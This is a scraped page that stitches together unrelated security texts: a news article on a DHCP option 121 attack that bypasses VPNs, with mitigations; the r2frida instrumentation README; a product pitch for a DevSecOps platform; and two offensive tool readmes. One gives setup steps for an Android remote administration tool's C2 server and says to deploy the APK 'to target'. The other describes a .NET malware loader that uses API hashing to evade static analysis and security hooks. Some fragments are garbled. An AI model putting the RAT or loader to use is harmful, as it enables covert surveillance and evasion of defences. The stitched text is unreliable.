Login
Virtual private networking (VPN) companies market their services as a way to prevent anyone from snooping on your Internet usage. But new research suggests this is a dangerous assumption when connecting to a VPN via an untrusted network, because attackers on the same network could force a target’s traffic off of the protection provided by their VPN without triggering any alerts to the user.
Image: Shutterstock.
When a device initially tries to connect to a network, it broadcasts a message to the entire local network stating that it is requesting an Internet address. Normally, the only system on the network that notices this request and replies is the router responsible for managing the network to which the user is trying to connect.
The machine on a network responsible for fielding these requests is called a Dynamic Host Configuration Protocol (DHCP) server, which will issue time-based leases for IP addresses. The DHCP server also takes care of setting a specific local address — known as an Internet gateway — that all connecting systems will use as a primary route to the Web.
VPNs work by creating a virtual network interface that serves as an encrypted tunnel for communications. But researchers at Leviathan Security say they’ve discovered it’s possible to abuse an obscure feature built into the DHCP standard so that other users on the local network are forced to connect to a rogue DHCP server.
“Our technique is to run a DHCP server on the same network as a targeted VPN user and to also set our DHCP configuration to use itself as a gateway,” Leviathan researchers Lizzie Moratti and Dani Cronce wrote. “When the traffic hits our gateway, we use traffic forwarding rules on the DHCP server to pass traffic through to a legitimate gateway while we snoop on it.”
The feature being abused here is known as DHCP option 121, and it allows a DHCP server to set a route on the VPN user’s system that is more specific than those used by most VPNs. Abusing this option, Leviathan found, effectively gives an attacker on the local network the ability to set up routing rules that have a higher priority than the routes for the virtual network interface that the target’s VPN creates.
“Pushing a route also means that the network traffic will be sent over the same interface as the DHCP server instead of the virtual network interface,” the Leviathan researchers said. “This is intended functionality that isn’t clearly stated in the RFC [standard]. Therefore, for the routes we push, it is never encrypted by the VPN’s virtual interface but instead transmitted by the network interface that is talking to the DHCP server. As an attacker, we can select which IP addresses go over the tunnel and which addresses go over the network interface talking to our DHCP server.”
Leviathan found they could force VPNs on the local network that already had a connection to arbitrarily request a new one. In this well-documented tactic, known as a DHCP starvation attack, an attacker floods the DHCP server with requests that consume all available IP addresses that can be allocated. Once the network’s legitimate DHCP server is completely tied up, the attacker can then have their rogue DHCP server respond to all pending requests.
“This technique can also be used against an already established VPN connection once the VPN user’s host needs to renew a lease from our DHCP server,” the researchers wrote. “We can artificially create that scenario by setting a short lease time in the DHCP lease, so the user updates their routing table more frequently. In addition, the VPN control channel is still intact because it already uses the physical interface for its communication. In our testing, the VPN always continued to report as connected, and the kill switch was never engaged to drop our VPN connection.”
The researchers say their methods could be used by an attacker who compromises a DHCP server or wireless access point, or by a rogue network administrator who owns the infrastructure themselves and maliciously configures it. Alternatively, an attacker could set up an “evil twin” wireless hotspot that mimics the signal broadcast by a legitimate provider.
Bill Woodcock is executive director at Packet Clearing House, a nonprofit based in San Francisco. Woodcock said Option 121 has been included in the DHCP standard since 2002, which means the attack described by Leviathan has technically been possible for the last 22 years.
“They’re realizing now that this can be used to circumvent a VPN in a way that’s really problematic, and they’re right,” Woodcock said.
Woodcock said anyone who might be a target of spear phishing attacks should be very concerned about using VPNs on an untrusted network.
“Anyone who is in a position of authority or maybe even someone who is just a high net worth individual, those are all very reasonable targets of this attack,” he said. “If I were trying to do an attack against someone at a relatively high security company and I knew where they typically get their coffee or sandwich at twice a week, this is a very effective tool in that toolbox. I’d be a little surprised if it wasn’t already being exploited in that way, because again this isn’t rocket science. It’s just thinking a little outside the box.”
Successfully executing this attack on a network likely would not allow an attacker to see all of a target’s traffic or browsing activity. That’s because for the vast majority of the websites visited by the target, the content is encrypted (the site’s address begins with https://). However, an attacker would still be able to see the metadata — such as the source and destination addresses — of any traffic flowing by.
KrebsOnSecurity shared Leviathan’s research with John Kristoff, founder of dataplane.org and a PhD candidate in computer science at the University of Illinois Chicago. Kristoff said practically all user-edge network gear, including WiFi deployments, support some form of rogue DHCP server detection and mitigation, but that it’s unclear how widely deployed those protections are in real-world environments.
“However, and I think this is a key point to emphasize, an untrusted network is an untrusted network, which is why you’re usually employing the VPN in the first place,” Kristoff said. “If [the] local network is inherently hostile and has no qualms about operating a rogue DHCP server, then this is a sneaky technique that could be used to de-cloak some traffic – and if done carefully, I’m sure a user might never notice.”
According to Leviathan, there are several ways to minimize the threat from rogue DHCP servers on an unsecured network. One is using a device powered by the Android operating system, which apparently ignores DHCP option 121.
Relying on a temporary wireless hotspot controlled by a cellular device you own also effectively blocks this attack.
“They create a password-locked LAN with automatic network address translation,” the researchers wrote of cellular hot-spots. “Because this network is completely controlled by the cellular device and requires a password, an attacker should not have local network access.”
Leviathan’s Moratti said another mitigation is to run your VPN from inside of a virtual machine (VM) — like Parallels, VMware or VirtualBox. VPNs run inside of a VM are not vulnerable to this attack, Moratti said, provided they are not run in “bridged mode,” which causes the VM to replicate another node on the network.
In addition, a technology called “deep packet inspection” can be used to deny all in- and outbound traffic from the physical interface except for the DHCP and the VPN server. However, Leviathan says this approach opens up a potential “side channel” attack that could be used to determine the destination of traffic.
“This could be theoretically done by performing traffic analysis on the volume a target user sends when the attacker’s routes are installed compared to the baseline,” they wrote. “In addition, this selective denial-of-service is unique as it could be used to censor specific resources that an attacker doesn’t want a target user to connect to even while they are using the VPN.”
Moratti said Leviathan’s research shows that many VPN providers are currently making promises to their customers that their technology can’t keep.
“VPNs weren’t designed to keep you more secure on your local network, but to keep your traffic more secure on the Internet,” Moratti said. “When you start making assurances that your product protects people from seeing your traffic, there’s an assurance or promise that can’t be met.”
A copy of Leviathan’s research, along with code intended to allow others to duplicate their findings in a lab environment, is available here.
This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.
The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.
Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.
FreshRSS 
:. command):db apir_fs api.The recommended way to install r2frida is via r2pm:
$ r2pm -ci r2frida
Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.
In GNU/Debian you will need to install the following packages:
$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git
$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install
radare2 (instead of radare2-x.y.z)preconfigure.bat)configure.bat and then make.bat
b\r2frida.dll into r2 -H R2_USER_PLUGINS
For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.
$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://? # show this help
* frida:// # list local processes
* frida://0 # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2 # abspath to spawn
* frida://rax2 # same as above, considering local/bin is in PATH
* frida://spawn/$(program) # spawn a new process in the current system
* frida://attach/(target) # attach to target PID in current host
USB:
* frida://list/usb// # list processes in the first usb device
* frida://apps/usb// # list apps in the first usb device
* frida://attach/usb//12345 # attach to given pid in the first usb device
* frida://spawn/usb//appname # spawn an app in the first resolved usb device
* frida://launch/usb//appname # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
R2FRIDA_SAFE_IO=0|1 # Workaround a Frida bug on Android/thumb
R2FRIDA_DEBUG=0|1 # Used to debug argument parsing behaviour
R2FRIDA_COMPILER_DISABLE=0|1 # Disable the new frida typescript compiler (`:. foo.ts`)
R2FRIDA_AGENT_SCRIPT=[file] # path to file of the r2frida agent
$ r2 frida://0 # same as frida -p 0, connects to a local session
You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)
$ r2 frida://rax2 # attach to the first process named `rax2`
$ r2 frida://1234 # attach to the given pid
Using the absolute path of a binary to spawn will spawn the process:
$ r2 frida:///bin/ls
[0x00000000]> :dc # continue the execution of the target program
Also works with arguments:
$ r2 frida://"/bin/ls -al"
For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.
$ r2 frida://spawn/usb/ # enumerate devices
$ r2 frida://spawn/usb// # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app
These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.
:i # get information of the target (pid, name, home, arch, bits, ..)
.:i* # import the target process details into local r2
:? # show all the available commands
:dm # list maps. Use ':dm|head' and seek to the program base address
:iE # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-* # delete all traces
r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.
See the plugins/ directory for some more example plugin scripts.
[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
if (name === 'test') {
return function(args) {
console.log('Hello Args From r2frida plugin', args);
return 'Things Happen';
}
}
});
[0x00000000]> :. example.js # load the plugin script
The :. command works like the r2's . command, but runs inside the agent.
:. a.js # run script which registers a plugin
:. # list plugins
:.-test # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)
If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.
$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...
Ensure you are using a modern version of r2 (preferibly last release or git).
Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.
If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.
+---------+
| radare2 | The radare2 tool, on top of the rest
+---------+
:
+----------+
| io_frida | r2frida io plugin
+----------+
:
+---------+
| frida | Frida host APIs and logic to interact with target
+---------+
:
+-------+
| app | Target process instrumented by Frida with Javascript
+-------+
This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.
I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos
Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
c2-server/.env and web socket/.env
database.sql
console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
SecuSphere is a comprehensive DevSecOps platform designed to streamline and enhance your organization's security posture throughout the software development life cycle. Our platform serves as a centralized hub for vulnerability management, security assessments, CI/CD pipeline integration, and fostering DevSecOps practices and culture.
At the heart of SecuSphere is a powerful vulnerability management system. Our platform collects, processes, and prioritizes vulnerabilities, integrating with a wide array of vulnerability scanners and security testing tools. Risk-based prioritization and automated assignment of vulnerabilities streamline the remediation process, ensuring that your teams tackle the most critical issues first. Additionally, our platform offers robust dashboards and reporting capabilities, allowing you to track and monitor vulnerability status in real-time.
SecuSphere integrates seamlessly with your existing CI/CD pipelines, providing real-time security feedback throughout your development process. Our platform enables automated triggering of security scans and assessments at various stages of your pipeline. Furthermore, SecuSphere enforces security gates to prevent vulnerable code from progressing to production, ensuring that security is built into your applications from the ground up. This continuous feedback loop empowers developers to identify and fix vulnerabilities early in the development cycle.
SecuSphere offers a robust framework for consuming and analyzing security assessment reports from various CI/CD pipeline stages. Our platform automates the aggregation, normalization, and correlation of security findings, providing a holistic view of your application's security landscape. Intelligent deduplication and false-positive elimination reduce noise in the vulnerability data, ensuring that your teams focus on real threats. Furthermore, SecuSphere integrates with ticketing systems to facilitate the creation and management of remediation tasks.
SecuSphere goes beyond tools and technology to help you drive and accelerate the adoption of DevSecOps principles and practices within your organization. Our platform provides security training and awareness for developers, security, and operations teams, helping to embed security within your development and operations processes. SecuSphere aids in establishing secure coding guidelines and best practices and fosters collaboration and communication between security, development, and operations teams. With SecuSphere, you'll create a culture of shared responsibility for security, enabling you to build more secure, reliable software.
Embrace the power of integrated DevSecOps with SecuSphere – secure your software development, from code to cloud.
SecuSphere offers built-in dashboards and reporting capabilities that allow you to easily track and monitor the status of vulnerabilities. With our risk-based prioritization and automated assignment features, vulnerabilities are efficiently managed and sent to the relevant teams for remediation.
SecuSphere provides a comprehensive REST API and Web Console. This allows for greater flexibility and control over your security operations, ensuring you can automate and integrate SecuSphere into your existing systems and workflows as seamlessly as possible.
For more information please refer to our Official Rest API Documentation
SecuSphere integrates with popular ticketing systems, enabling the creation and management of remediation tasks directly within the platform. This helps streamline your security operations and ensure faster resolution of identified vulnerabilities.
SecuSphere is not just a tool, it's a comprehensive solution that drives and accelerates the adoption of DevSecOps principles and practices. We provide security training and awareness for developers, security, and operations teams, and aid in establishing secure coding guidelines and best practices.
Get started with SecuSphere using our comprehensive user guide.
You can install SecuSphere by cloning the repository, setting up locally, or using Docker.
$ git clone https://github.com/SecurityUniversalOrg/SecuSphere.gitNavigate to the source directory and run the Python file:
$ cd src/
$ python run.pyBuild and run the Dockerfile in the cicd directory:
$ # From repository root
$ docker build -t secusphere:latest .
$ docker run secusphere:latestUse Docker Compose in the ci_cd/iac/ directory:
$ cd ci_cd/iac/
$ docker-compose -f secusphere.yml upPull the latest version of SecuSphere from Docker Hub and run it:
$ docker pull securityuniversal/secusphere:latest
$ docker run -p 8081:80 -d secusphere:latestWe value your feedback and are committed to providing the best possible experience with SecuSphere. If you encounter any issues or have suggestions for improvement, please create an issue in this repository or contact our support team.
We welcome contributions to SecuSphere. If you're interested in improving SecuSphere or adding new features, please read our contributing guide.
A .NET malware loader, using API-Hashing and dynamic invoking to evade static analysis
NixImports uses my managed API-Hashing implementation HInvoke, to dynamically resolve most of it's called functions at runtime. To resolve the functions HInvoke requires two hashes the typeHash and the methodHash. These hashes represent the type name and the methods FullName, on runtime HInvoke parses the entire mscorlib to find the matching type and method. Due to this process, HInvoke does not leave any import references to the methods called trough it.
Another interesting feature of NixImports is that it avoids calling known methods as much as possible, whenever applicable NixImports uses internal methods instead of their wrappers. By using internal methods only we can evade basic hooks and monitoring employed by some security tools.
For a more detailed explanation checkout my blog post.
You can generate hashes for HInvoke using this tool
NixImports only requires a filepath to the .NET binary you want to pack with it.
NixImports.exe <filepath>
It will automatically generate a new executable called Loader.exe in it's root folder. The loader executable will contain your encoded payload and the stub code required to run it.
If youre interested in detection engineering and possible detection of NixImports, checkout the last section of my blog post
Or click here for a basic yara rule covering NixImports.
